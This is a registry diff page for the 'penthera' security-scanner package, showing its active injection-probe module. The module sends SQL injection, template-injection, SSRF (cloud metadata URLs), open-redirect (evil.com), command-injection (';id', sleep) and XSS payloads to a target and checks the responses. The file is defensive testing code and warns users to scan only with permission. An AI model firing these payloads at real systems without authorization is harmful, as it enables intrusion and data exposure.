penthera 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (74) hide show
  1. package/CHANGELOG.md +168 -0
  2. package/LICENSE +21 -0
  3. package/README.md +561 -0
  4. package/SECURITY.md +31 -0
  5. package/bin/penthera.js +3 -0
  6. package/bin/scan.js +11 -0
  7. package/docs/index.md +60 -0
  8. package/docs/owasp-wstg-coverage.md +79 -0
  9. package/lib/adaptive-probes.js +334 -0
  10. package/lib/attack-surface.js +149 -0
  11. package/lib/audit-loop.js +170 -0
  12. package/lib/blackbox/adaptive-scan.js +137 -0
  13. package/lib/blackbox/client-auth.js +60 -0
  14. package/lib/blackbox/email-dns.js +135 -0
  15. package/lib/blackbox/headers.js +91 -0
  16. package/lib/blackbox/idor.js +113 -0
  17. package/lib/blackbox/jwt.js +73 -0
  18. package/lib/blackbox/oauth.js +50 -0
  19. package/lib/blackbox/openapi.js +227 -0
  20. package/lib/compliance/incident.js +169 -0
  21. package/lib/compliance/index.js +163 -0
  22. package/lib/compliance/policy-pack.js +293 -0
  23. package/lib/compliance/questionnaire.js +113 -0
  24. package/lib/compliance/readiness.js +229 -0
  25. package/lib/compliance/self-assessment.js +66 -0
  26. package/lib/crawler.js +257 -0
  27. package/lib/fuzzer.js +233 -0
  28. package/lib/injections.js +676 -0
  29. package/lib/jurisdictions/nl.json +48 -0
  30. package/lib/knowledge-graph.js +232 -0
  31. package/lib/machine.js +814 -0
  32. package/lib/nuclei-loader.js +283 -0
  33. package/lib/owasp-wstg.js +204 -0
  34. package/lib/params.js +235 -0
  35. package/lib/plugins.js +70 -0
  36. package/lib/provenance.js +82 -0
  37. package/lib/recon.js +193 -0
  38. package/lib/remediation/index.js +219 -0
  39. package/lib/retirejs.js +239 -0
  40. package/lib/supply-chain.js +131 -0
  41. package/lib/templates.js +364 -0
  42. package/lib/tls.js +145 -0
  43. package/lib/whitebox/frameworks.js +139 -0
  44. package/lib/whitebox/sbom.js +144 -0
  45. package/lib/whitebox/secrets.js +111 -0
  46. package/package.json +76 -0
  47. package/pentest.config.example.js +82 -0
  48. package/scripts/package-skill.sh +16 -0
  49. package/skills/penthera/SKILL.md +272 -0
  50. package/skills/penthera/references/authorization.md +36 -0
  51. package/skills/penthera/references/output-and-ci.md +109 -0
  52. package/skills/penthera/references/profiles-and-flags.md +74 -0
  53. package/skills/penthera/references/remediation.md +267 -0
  54. package/skills/penthera/references/reporting.md +113 -0
  55. package/skills/penthera/references/secure-defaults.md +41 -0
  56. package/skills/penthera/references/troubleshooting.md +100 -0
  57. package/skills/penthera/scripts/preflight.sh +66 -0
  58. package/skills/penthera/scripts/validate-report.mjs +53 -0
  59. package/skills/penthera/scripts/validate-report.sh +8 -0
  60. package/src/cli/ansi.js +70 -0
  61. package/src/cli/baseline.js +37 -0
  62. package/src/cli/merge-results.js +71 -0
  63. package/src/cli/onboarding.js +216 -0
  64. package/src/cli/profiles.js +53 -0
  65. package/src/cli/prompt.js +64 -0
  66. package/src/cli/run-scan.js +152 -0
  67. package/src/cli.js +536 -0
  68. package/src/report/markdown.js +182 -0
  69. package/src/reporter.js +512 -0
  70. package/src/scan-repo.js +205 -0
  71. package/src/scan-url.js +563 -0
  72. package/src/utils/auth.js +13 -0
  73. package/src/utils/http.js +38 -0
  74. package/src/utils/url.js +54 -0
@@ -0,0 +1,676 @@
1
+ /**
2
+ * Active Injection Scanner
3
+ *
4
+ * Probes for common injection vulnerabilities:
5
+ * - SQL injection (error-based + time-based blind)
6
+ * - Server-Side Template Injection (SSTI)
7
+ * - Server-Side Request Forgery (SSRF)
8
+ * - Open redirect
9
+ * - Command injection
10
+ *
11
+ * Techniques borrowed from:
12
+ * - Dalfox, context-aware XSS (analyze reflection, then target)
13
+ * - Wapiti, error pattern matching for SQLi
14
+ * - Nuclei, pattern-based detection
15
+ * - Burp Suite, time-based blind SQLi
16
+ *
17
+ * WARNING: These probes send attack payloads to the target.
18
+ * Only use against targets you have permission to test.
19
+ */
20
+
21
+ import { redirectsToHost } from "../src/utils/url.js";
22
+
23
+ const INJECT_TIMEOUT = 10_000;
24
+
25
+ async function safeFetch(url, opts = {}) {
26
+ const controller = new AbortController();
27
+ const timeout = setTimeout(() => controller.abort(), opts.timeout || INJECT_TIMEOUT);
28
+ const start = Date.now();
29
+ try {
30
+ const res = await fetch(url, { ...opts, signal: controller.signal, redirect: "manual" });
31
+ const elapsed = Date.now() - start;
32
+ const body = await res.text().catch(() => "");
33
+ return { status: res.status, body, headers: Object.fromEntries(res.headers.entries()), elapsed, ok: true };
34
+ } catch {
35
+ return { status: 0, body: "", headers: {}, elapsed: Date.now() - start, ok: false };
36
+ } finally {
37
+ clearTimeout(timeout);
38
+ }
39
+ }
40
+
41
+ // ── SQL Injection Detection ──────────────────────────────────────────────
42
+
43
+ const SQLI_ERROR_PATTERNS = [
44
+ { re: /SQL syntax.*?MySQL/i, db: "MySQL" },
45
+ { re: /Warning.*?\Wmysqli?_/i, db: "MySQL" },
46
+ { re: /valid MySQL result/i, db: "MySQL" },
47
+ { re: /PostgreSQL.*?ERROR/i, db: "PostgreSQL" },
48
+ { re: /Warning.*?\Wpg_/i, db: "PostgreSQL" },
49
+ { re: /unterminated quoted string/i, db: "PostgreSQL" },
50
+ { re: /ORA-\d{5}/i, db: "Oracle" },
51
+ { re: /Microsoft.*?ODBC.*?Driver/i, db: "MSSQL" },
52
+ { re: /Unclosed quotation mark/i, db: "MSSQL" },
53
+ { re: /Microsoft.*?SQL.*?Server/i, db: "MSSQL" },
54
+ { re: /\bSQLite.*?(?:error|warning)\b/i, db: "SQLite" },
55
+ { re: /SQLSTATE\[/i, db: "PDO" },
56
+ { re: /DB2 SQL error/i, db: "DB2" },
57
+ { re: /Sybase message/i, db: "Sybase" },
58
+ { re: /Syntax error.*?in query expression/i, db: "MSAccess" },
59
+ { re: /Data type mismatch/i, db: "Generic" },
60
+ { re: /Division by zero/i, db: "Generic" },
61
+ ];
62
+
63
+ const SQLI_PAYLOADS = [
64
+ "'",
65
+ "' OR '1'='1",
66
+ "' OR '1'='1' --",
67
+ "\" OR \"1\"=\"1",
68
+ "1' AND '1'='2",
69
+ "1 UNION SELECT NULL--",
70
+ "'; WAITFOR DELAY '0:0:5'--", // MSSQL time-based
71
+ "' AND SLEEP(5)--", // MySQL time-based
72
+ "'; SELECT pg_sleep(5)--", // PostgreSQL time-based
73
+ ];
74
+
75
+ /**
76
+ * Test an endpoint for SQL injection.
77
+ *
78
+ * @param {string} baseUrl
79
+ * @param {string} path - Endpoint path
80
+ * @param {object} opts - { method, paramName }
81
+ * @returns {object[]} Findings
82
+ */
83
+ export async function probeSqli(baseUrl, path, opts = {}) {
84
+ const findings = [];
85
+ const method = opts.method || "GET";
86
+
87
+ // Get baseline response
88
+ const baseline = await safeFetch(`${baseUrl}${path}`, { method });
89
+ if (!baseline.ok) return findings;
90
+
91
+ for (const payload of SQLI_PAYLOADS.slice(0, 5)) {
92
+ let res;
93
+ if (method === "GET") {
94
+ // Inject into query parameter
95
+ const sep = path.includes("?") ? "&" : "?";
96
+ res = await safeFetch(`${baseUrl}${path}${sep}id=${encodeURIComponent(payload)}`, { method });
97
+ } else {
98
+ res = await safeFetch(`${baseUrl}${path}`, {
99
+ method,
100
+ headers: { "Content-Type": "application/json" },
101
+ body: JSON.stringify({ id: payload, query: payload }),
102
+ });
103
+ }
104
+
105
+ if (!res.ok) continue;
106
+
107
+ // Check for error-based SQLi
108
+ for (const { re, db } of SQLI_ERROR_PATTERNS) {
109
+ if (re.test(res.body) && !re.test(baseline.body)) {
110
+ findings.push({
111
+ severity: "critical",
112
+ title: `SQL injection (error-based, ${db})`,
113
+ description: `Payload: ${payload} triggered ${db} error`,
114
+ url: `${baseUrl}${path}`,
115
+ status: res.status,
116
+ category: "sqli",
117
+ source: "injection-probe",
118
+ });
119
+ return findings; // One confirmed SQLi is enough
120
+ }
121
+ }
122
+ }
123
+
124
+ // Time-based blind SQLi (test with sleep payloads)
125
+ const timingPayloads = [
126
+ { payload: "' AND SLEEP(3)--", db: "MySQL" },
127
+ { payload: "'; SELECT pg_sleep(3)--", db: "PostgreSQL" },
128
+ ];
129
+
130
+ for (const { payload, db } of timingPayloads) {
131
+ let res;
132
+ if (method === "GET") {
133
+ const sep = path.includes("?") ? "&" : "?";
134
+ res = await safeFetch(`${baseUrl}${path}${sep}id=${encodeURIComponent(payload)}`, {
135
+ method,
136
+ timeout: 8_000,
137
+ });
138
+ } else {
139
+ res = await safeFetch(`${baseUrl}${path}`, {
140
+ method,
141
+ headers: { "Content-Type": "application/json" },
142
+ body: JSON.stringify({ id: payload }),
143
+ timeout: 8_000,
144
+ });
145
+ }
146
+
147
+ // If response took significantly longer than baseline, possible blind SQLi
148
+ if (res.elapsed > baseline.elapsed + 2500 && res.elapsed > 3000) {
149
+ findings.push({
150
+ severity: "high",
151
+ title: `Possible blind SQL injection (time-based, ${db})`,
152
+ description: `Payload: ${payload}, response took ${res.elapsed}ms vs baseline ${baseline.elapsed}ms`,
153
+ url: `${baseUrl}${path}`,
154
+ status: res.status,
155
+ category: "sqli",
156
+ source: "injection-probe",
157
+ });
158
+ }
159
+ }
160
+
161
+ return findings;
162
+ }
163
+
164
+ // ── Server-Side Template Injection (SSTI) ────────────────────────────────
165
+
166
+ /**
167
+ * Build SSTI probes with a randomized arithmetic canary.
168
+ *
169
+ * A fixed "7*7 = 49" canary produces false positives: "49" occurs naturally in
170
+ * prices, IDs, counts, and timestamps, so any page containing it looked like a
171
+ * confirmed critical. Instead we multiply two random 4-digit numbers, giving a
172
+ * 7-8 digit product that is highly unlikely to appear by chance, and only flag
173
+ * when the product shows up while the raw payload and the literal expression do
174
+ * not, i.e. the template engine actually evaluated the arithmetic.
175
+ */
176
+ export function buildSstiProbes() {
177
+ const a = 1000 + Math.floor(Math.random() * 9000);
178
+ const b = 1000 + Math.floor(Math.random() * 9000);
179
+ const expr = `${a}*${b}`;
180
+ const product = String(a * b);
181
+ const probes = [
182
+ { payload: `{{${expr}}}`, engine: "Jinja2/Twig/Handlebars" },
183
+ { payload: `\${${expr}}`, engine: "Freemarker/Velocity/EL" },
184
+ { payload: `#{${expr}}`, engine: "Thymeleaf/Ruby ERB" },
185
+ { payload: `<%= ${expr} %>`, engine: "ERB/EJS" },
186
+ { payload: `\${{${expr}}}`, engine: "AngularJS/Vue" },
187
+ { payload: `{{constructor.constructor('return ${expr}')()}}`, engine: "Handlebars sandbox escape" },
188
+ ];
189
+ return { probes, expr, product };
190
+ }
191
+
192
+ /** True only when the response shows the canary product but not the raw payload/expression. */
193
+ export function sstiEvaluated(body, payload, expr, product) {
194
+ return typeof body === "string"
195
+ && body.includes(product)
196
+ && !body.includes(payload)
197
+ && !body.includes(expr);
198
+ }
199
+
200
+ /**
201
+ * Test an endpoint for SSTI.
202
+ */
203
+ export async function probeSsti(baseUrl, path, opts = {}) {
204
+ const findings = [];
205
+ const { probes, expr, product } = buildSstiProbes();
206
+
207
+ for (const { payload, engine } of probes) {
208
+ // Try injecting via query param
209
+ const sep = path.includes("?") ? "&" : "?";
210
+ const res = await safeFetch(
211
+ `${baseUrl}${path}${sep}name=${encodeURIComponent(payload)}`,
212
+ );
213
+
214
+ if (res.ok && sstiEvaluated(res.body, payload, expr, product)) {
215
+ findings.push({
216
+ severity: "critical",
217
+ title: `Server-Side Template Injection (${engine})`,
218
+ description: `Payload "${payload}" evaluated to "${product}" in response`,
219
+ url: `${baseUrl}${path}`,
220
+ status: res.status,
221
+ category: "ssti",
222
+ source: "injection-probe",
223
+ });
224
+ return findings; // Confirmed SSTI
225
+ }
226
+
227
+ // Also try POST body
228
+ const postRes = await safeFetch(`${baseUrl}${path}`, {
229
+ method: "POST",
230
+ headers: { "Content-Type": "application/json" },
231
+ body: JSON.stringify({ name: payload, input: payload, query: payload }),
232
+ });
233
+
234
+ if (postRes.ok && sstiEvaluated(postRes.body, payload, expr, product)) {
235
+ findings.push({
236
+ severity: "critical",
237
+ title: `Server-Side Template Injection (${engine})`,
238
+ description: `POST payload "${payload}" evaluated to "${product}"`,
239
+ url: `${baseUrl}${path}`,
240
+ status: postRes.status,
241
+ category: "ssti",
242
+ source: "injection-probe",
243
+ });
244
+ return findings;
245
+ }
246
+ }
247
+
248
+ return findings;
249
+ }
250
+
251
+ // ── Server-Side Request Forgery (SSRF) ───────────────────────────────────
252
+
253
+ const SSRF_TARGETS = [
254
+ { url: "http://169.254.169.254/latest/meta-data/", name: "AWS metadata" },
255
+ { url: "http://metadata.google.internal/computeMetadata/v1/", name: "GCP metadata" },
256
+ { url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", name: "Azure metadata" },
257
+ { url: "http://127.0.0.1:80/", name: "localhost" },
258
+ { url: "http://[::1]:80/", name: "IPv6 localhost" },
259
+ { url: "http://0.0.0.0:80/", name: "0.0.0.0" },
260
+ { url: "http://localhost:22/", name: "localhost SSH" },
261
+ ];
262
+
263
+ /**
264
+ * Test an endpoint for SSRF via URL parameters.
265
+ */
266
+ export async function probeSsrf(baseUrl, path, opts = {}) {
267
+ const findings = [];
268
+
269
+ // Identify URL-like parameters in the path or common parameter names
270
+ const urlParams = ["url", "link", "href", "src", "redirect", "callback", "return", "next", "target", "dest", "fetch", "proxy"];
271
+
272
+ for (const param of urlParams.slice(0, 5)) {
273
+ for (const { url: ssrfTarget, name } of SSRF_TARGETS.slice(0, 3)) {
274
+ const sep = path.includes("?") ? "&" : "?";
275
+ const res = await safeFetch(
276
+ `${baseUrl}${path}${sep}${param}=${encodeURIComponent(ssrfTarget)}`,
277
+ );
278
+
279
+ if (!res.ok) continue;
280
+
281
+ // Check if the response contains metadata indicators
282
+ const metadataIndicators = [
283
+ /ami-id/i, /instance-id/i, /iam/i, // AWS
284
+ /computeMetadata/i, /project-id/i, // GCP
285
+ /subscriptionId/i, /resourceGroupName/i, // Azure
286
+ /root:.*:0:0/, // /etc/passwd
287
+ ];
288
+
289
+ for (const pattern of metadataIndicators) {
290
+ if (pattern.test(res.body)) {
291
+ findings.push({
292
+ severity: "critical",
293
+ title: `SSRF, ${name} accessible via ?${param}=`,
294
+ description: `Internal resource accessed through URL parameter`,
295
+ url: `${baseUrl}${path}?${param}=${ssrfTarget}`,
296
+ status: res.status,
297
+ category: "ssrf",
298
+ source: "injection-probe",
299
+ });
300
+ return findings;
301
+ }
302
+ }
303
+ }
304
+ }
305
+
306
+ return findings;
307
+ }
308
+
309
+ // ── Open Redirect ────────────────────────────────────────────────────────
310
+
311
+ const REDIRECT_PAYLOADS = [
312
+ "https://evil.com",
313
+ "//evil.com",
314
+ "/\\evil.com",
315
+ "https://evil.com%2F%2F",
316
+ "////evil.com",
317
+ "https:evil.com",
318
+ ];
319
+
320
+ /**
321
+ * Test an endpoint for open redirect.
322
+ */
323
+ export async function probeOpenRedirect(baseUrl, path, opts = {}) {
324
+ const findings = [];
325
+ const redirectParams = ["redirect", "redirect_uri", "return", "return_to", "next", "url", "callback", "redir", "destination", "go"];
326
+
327
+ for (const param of redirectParams) {
328
+ for (const payload of REDIRECT_PAYLOADS.slice(0, 3)) {
329
+ const sep = path.includes("?") ? "&" : "?";
330
+ const reqUrl = `${baseUrl}${path}${sep}${param}=${encodeURIComponent(payload)}`;
331
+ const res = await safeFetch(reqUrl, { timeout: 5_000 });
332
+
333
+ if (!res.ok) continue;
334
+
335
+ // Only a real open redirect if the Location actually resolves to the
336
+ // attacker host, not if "evil.com" merely rides along in a same-site
337
+ // canonicalization redirect's query string.
338
+ const location = res.headers.location || "";
339
+ if (redirectsToHost(location, reqUrl, "evil.com")) {
340
+ findings.push({
341
+ severity: "medium",
342
+ title: `Open redirect via ?${param}=`,
343
+ description: `Redirects to ${location}`,
344
+ url: `${baseUrl}${path}?${param}=${payload}`,
345
+ status: res.status,
346
+ category: "open-redirect",
347
+ source: "injection-probe",
348
+ });
349
+ return findings;
350
+ }
351
+ }
352
+ }
353
+
354
+ return findings;
355
+ }
356
+
357
+ // ── Command Injection ────────────────────────────────────────────────────
358
+
359
+ const CMDI_PAYLOADS = [
360
+ { payload: ";sleep 3", timing: true },
361
+ { payload: "|sleep 3", timing: true },
362
+ { payload: "$(sleep 3)", timing: true },
363
+ { payload: "`sleep 3`", timing: true },
364
+ { payload: ";id", pattern: /uid=\d+/ },
365
+ { payload: "|id", pattern: /uid=\d+/ },
366
+ ];
367
+
368
+ /**
369
+ * Test an endpoint for OS command injection.
370
+ */
371
+ export async function probeCmdi(baseUrl, path, opts = {}) {
372
+ const findings = [];
373
+ const method = opts.method || "POST";
374
+
375
+ // Get baseline timing
376
+ const baseline = await safeFetch(`${baseUrl}${path}`, {
377
+ method,
378
+ headers: { "Content-Type": "application/json" },
379
+ body: method === "POST" ? JSON.stringify({ input: "safe" }) : undefined,
380
+ });
381
+
382
+ for (const { payload, timing, pattern } of CMDI_PAYLOADS) {
383
+ const res = await safeFetch(`${baseUrl}${path}`, {
384
+ method,
385
+ headers: { "Content-Type": "application/json" },
386
+ body: method === "POST" ? JSON.stringify({ input: payload, cmd: payload, command: payload }) : undefined,
387
+ timeout: timing ? 8_000 : INJECT_TIMEOUT,
388
+ });
389
+
390
+ if (!res.ok) continue;
391
+
392
+ if (pattern && pattern.test(res.body)) {
393
+ findings.push({
394
+ severity: "critical",
395
+ title: "OS command injection",
396
+ description: `Payload "${payload}" returned system output`,
397
+ url: `${baseUrl}${path}`,
398
+ status: res.status,
399
+ category: "cmdi",
400
+ source: "injection-probe",
401
+ });
402
+ return findings;
403
+ }
404
+
405
+ if (timing && res.elapsed > baseline.elapsed + 2500 && res.elapsed > 3000) {
406
+ findings.push({
407
+ severity: "high",
408
+ title: "Possible OS command injection (time-based)",
409
+ description: `Payload "${payload}", ${res.elapsed}ms vs baseline ${baseline.elapsed}ms`,
410
+ url: `${baseUrl}${path}`,
411
+ status: res.status,
412
+ category: "cmdi",
413
+ source: "injection-probe",
414
+ });
415
+ return findings;
416
+ }
417
+ }
418
+
419
+ return findings;
420
+ }
421
+
422
+ // ── Context-Aware XSS (Dalfox-style) ────────────────────────────────────
423
+
424
+ const CANARY = "pnth3r4xss";
425
+
426
+ /**
427
+ * Reflected content is only executable as XSS when the browser renders the
428
+ * response as HTML. A JSON/text API that echoes the payload is not XSS, so we
429
+ * require an explicit HTML content type before confirming a reflection.
430
+ */
431
+ export function isHtmlResponse(res) {
432
+ const ct = (res.headers?.["content-type"] || "").toLowerCase();
433
+ return ct.includes("text/html") || ct.includes("application/xhtml+xml");
434
+ }
435
+
436
+ /**
437
+ * Test an endpoint for reflected XSS using context-aware payload generation.
438
+ *
439
+ * Algorithm (inspired by Dalfox):
440
+ * 1. Send a unique canary string
441
+ * 2. Find where it's reflected in the HTML response
442
+ * 3. Determine the injection context (tag content, attribute, JS block, etc.)
443
+ * 4. Generate a minimal, targeted payload for that context
444
+ * 5. Verify the payload is reflected unescaped
445
+ */
446
+ export async function probeXss(baseUrl, path, opts = {}) {
447
+ const findings = [];
448
+ const inputParams = ["q", "search", "query", "name", "input", "text", "value", "msg", "error", "redirect", "url", "id"];
449
+
450
+ for (const param of inputParams) {
451
+ // Step 1: Send canary
452
+ const sep = path.includes("?") ? "&" : "?";
453
+ const canaryUrl = `${baseUrl}${path}${sep}${param}=${CANARY}`;
454
+ const canaryRes = await safeFetch(canaryUrl);
455
+ if (!canaryRes.ok || !canaryRes.body.includes(CANARY) || !isHtmlResponse(canaryRes)) continue;
456
+
457
+ // Step 2: Determine injection context
458
+ const context = analyzeReflectionContext(canaryRes.body, CANARY);
459
+ if (!context) continue;
460
+
461
+ // Step 3: Generate targeted payloads
462
+ const payloads = getPayloadsForContext(context);
463
+
464
+ // Step 4: Test each payload
465
+ for (const { payload, check } of payloads) {
466
+ const attackUrl = `${baseUrl}${path}${sep}${param}=${encodeURIComponent(payload)}`;
467
+ const attackRes = await safeFetch(attackUrl);
468
+ if (!attackRes.ok) continue;
469
+
470
+ // Step 5: Verify unescaped reflection
471
+ if (check(attackRes.body)) {
472
+ findings.push({
473
+ severity: "high",
474
+ title: `Reflected XSS via ?${param}= (${context.type} context)`,
475
+ description: `Payload: ${payload.slice(0, 80)}`,
476
+ url: attackUrl,
477
+ status: attackRes.status,
478
+ category: "xss",
479
+ source: "injection-probe",
480
+ });
481
+ return findings; // One confirmed XSS per endpoint is enough
482
+ }
483
+ }
484
+ }
485
+
486
+ // Also try POST body injection
487
+ const postRes = await safeFetch(`${baseUrl}${path}`, {
488
+ method: "POST",
489
+ headers: { "Content-Type": "application/json" },
490
+ body: JSON.stringify({ name: CANARY, input: CANARY, query: CANARY }),
491
+ });
492
+
493
+ if (postRes.ok && postRes.body.includes(CANARY) && isHtmlResponse(postRes)) {
494
+ const context = analyzeReflectionContext(postRes.body, CANARY);
495
+ if (context) {
496
+ const payloads = getPayloadsForContext(context);
497
+ for (const { payload, check } of payloads) {
498
+ const attackRes = await safeFetch(`${baseUrl}${path}`, {
499
+ method: "POST",
500
+ headers: { "Content-Type": "application/json" },
501
+ body: JSON.stringify({ name: payload, input: payload, query: payload }),
502
+ });
503
+ if (attackRes.ok && check(attackRes.body)) {
504
+ findings.push({
505
+ severity: "high",
506
+ title: `Reflected XSS via POST body (${context.type} context)`,
507
+ description: `Payload: ${payload.slice(0, 80)}`,
508
+ url: `${baseUrl}${path}`,
509
+ status: attackRes.status,
510
+ category: "xss",
511
+ source: "injection-probe",
512
+ });
513
+ return findings;
514
+ }
515
+ }
516
+ }
517
+ }
518
+
519
+ return findings;
520
+ }
521
+
522
+ /**
523
+ * Analyze WHERE the canary appears in the HTML response.
524
+ * Returns the injection context type.
525
+ */
526
+ function analyzeReflectionContext(html, canary) {
527
+ const idx = html.indexOf(canary);
528
+ if (idx === -1) return null;
529
+
530
+ // Look at surrounding context (200 chars before and after)
531
+ const before = html.slice(Math.max(0, idx - 200), idx);
532
+ const after = html.slice(idx + canary.length, idx + canary.length + 200);
533
+
534
+ // Inside a quoted attribute: <tag attr="...CANARY..."
535
+ if (/=["'][^"']*$/.test(before)) {
536
+ const quote = before.match(/=(['"])[^'"]*$/)?.[1] || '"';
537
+ return { type: "attribute", quote, before, after };
538
+ }
539
+
540
+ // Inside a <script> block: var x = "CANARY"
541
+ if (/<script[\s>][^]*$/i.test(before) && !/<\/script>/i.test(before.slice(-50))) {
542
+ // Inside a JS string?
543
+ const jsQuote = before.match(/['"`][^'"`]*$/)?.[0]?.[0];
544
+ return { type: "javascript", quote: jsQuote || null, before, after };
545
+ }
546
+
547
+ // Inside a <style> block
548
+ if (/<style[\s>][^]*$/i.test(before) && !/<\/style>/i.test(before.slice(-50))) {
549
+ return { type: "style", before, after };
550
+ }
551
+
552
+ // Inside an HTML comment: <!-- CANARY -->
553
+ if (/<!--[^]*$/.test(before) && !/--%>/.test(before.slice(-10))) {
554
+ return { type: "comment", before, after };
555
+ }
556
+
557
+ // Inside a tag but outside attributes: <tag CANARY
558
+ if (/<\w+\s[^>]*$/.test(before)) {
559
+ return { type: "tag-body", before, after };
560
+ }
561
+
562
+ // Between tags (tag content): <div>CANARY</div>
563
+ return { type: "html-content", before, after };
564
+ }
565
+
566
+ /**
567
+ * Generate targeted payloads for a specific injection context.
568
+ */
569
+ function getPayloadsForContext(context) {
570
+ switch (context.type) {
571
+ case "html-content":
572
+ return [
573
+ { payload: '<img src=x onerror=alert(1)>', check: (b) => b.includes('<img src=x onerror=') },
574
+ { payload: '<svg onload=alert(1)>', check: (b) => b.includes('<svg onload=') },
575
+ { payload: '<details open ontoggle=alert(1)>', check: (b) => b.includes('<details open ontoggle=') },
576
+ ];
577
+
578
+ case "attribute":
579
+ return [
580
+ { payload: `${context.quote}><img src=x onerror=alert(1)>`, check: (b) => b.includes('onerror=alert(1)') },
581
+ { payload: `${context.quote} onmouseover=alert(1) ${context.quote}`, check: (b) => b.includes('onmouseover=alert(1)') },
582
+ { payload: `${context.quote} onfocus=alert(1) autofocus ${context.quote}`, check: (b) => b.includes('onfocus=alert(1)') },
583
+ ];
584
+
585
+ case "javascript":
586
+ if (context.quote) {
587
+ return [
588
+ { payload: `${context.quote};alert(1);//`, check: (b) => /['"`;]\s*alert\(1\)/.test(b) },
589
+ { payload: `${context.quote}-alert(1)-${context.quote}`, check: (b) => b.includes('-alert(1)-') },
590
+ ];
591
+ }
592
+ return [
593
+ { payload: ';alert(1);//', check: (b) => b.includes(';alert(1);') },
594
+ { payload: '</script><img src=x onerror=alert(1)>', check: (b) => b.includes('onerror=alert(1)') },
595
+ ];
596
+
597
+ case "comment":
598
+ return [
599
+ { payload: '--><img src=x onerror=alert(1)><!--', check: (b) => b.includes('onerror=alert(1)') },
600
+ ];
601
+
602
+ case "tag-body":
603
+ return [
604
+ { payload: 'onmouseover=alert(1)', check: (b) => b.includes('onmouseover=alert(1)') },
605
+ { payload: 'onfocus=alert(1) autofocus', check: (b) => b.includes('onfocus=alert(1)') },
606
+ ];
607
+
608
+ case "style":
609
+ return [
610
+ { payload: '</style><img src=x onerror=alert(1)>', check: (b) => b.includes('onerror=alert(1)') },
611
+ ];
612
+
613
+ default:
614
+ return [
615
+ { payload: '<img src=x onerror=alert(1)>', check: (b) => b.includes('<img src=x onerror=') },
616
+ ];
617
+ }
618
+ }
619
+
620
+ // ── Aggregate: Run all injection probes ──────────────────────────────────
621
+
622
+ /**
623
+ * Run all injection probes against discovered endpoints.
624
+ *
625
+ * @param {string} baseUrl
626
+ * @param {Array<{ path, status }>} endpoints - Discovered endpoints
627
+ * @param {object} opts - { onPhase, maxEndpoints }
628
+ * @returns {object[]} All findings
629
+ */
630
+ export async function runInjectionProbes(baseUrl, endpoints, opts = {}) {
631
+ const progress = opts.onPhase || (() => {});
632
+ const max = opts.maxEndpoints || 10;
633
+ const findings = [];
634
+
635
+ // Select candidate endpoints (prioritize API routes, non-404)
636
+ const candidates = endpoints
637
+ .filter((ep) => ep.status !== 404 && (ep.path.includes("/api/") || ep.path.includes("?")))
638
+ .slice(0, max);
639
+
640
+ if (candidates.length === 0) return findings;
641
+
642
+ progress(`Testing ${candidates.length} endpoints for SQLi...`);
643
+ for (const ep of candidates.slice(0, 5)) {
644
+ findings.push(...await probeSqli(baseUrl, ep.path));
645
+ }
646
+
647
+ progress(`Testing ${candidates.length} endpoints for SSTI...`);
648
+ for (const ep of candidates.slice(0, 5)) {
649
+ findings.push(...await probeSsti(baseUrl, ep.path));
650
+ }
651
+
652
+ progress(`Testing for SSRF via URL parameters...`);
653
+ for (const ep of candidates.slice(0, 3)) {
654
+ findings.push(...await probeSsrf(baseUrl, ep.path));
655
+ }
656
+
657
+ progress(`Testing for open redirects...`);
658
+ for (const ep of candidates) {
659
+ findings.push(...await probeOpenRedirect(baseUrl, ep.path));
660
+ }
661
+
662
+ progress(`Testing for command injection...`);
663
+ const postEndpoints = candidates.filter((ep) =>
664
+ ep.path.includes("/api/") && !ep.path.includes("/auth/"),
665
+ );
666
+ for (const ep of postEndpoints.slice(0, 3)) {
667
+ findings.push(...await probeCmdi(baseUrl, ep.path));
668
+ }
669
+
670
+ progress(`Testing for reflected XSS (context-aware)...`);
671
+ for (const ep of candidates.slice(0, 5)) {
672
+ findings.push(...await probeXss(baseUrl, ep.path));
673
+ }
674
+
675
+ return findings;
676
+ }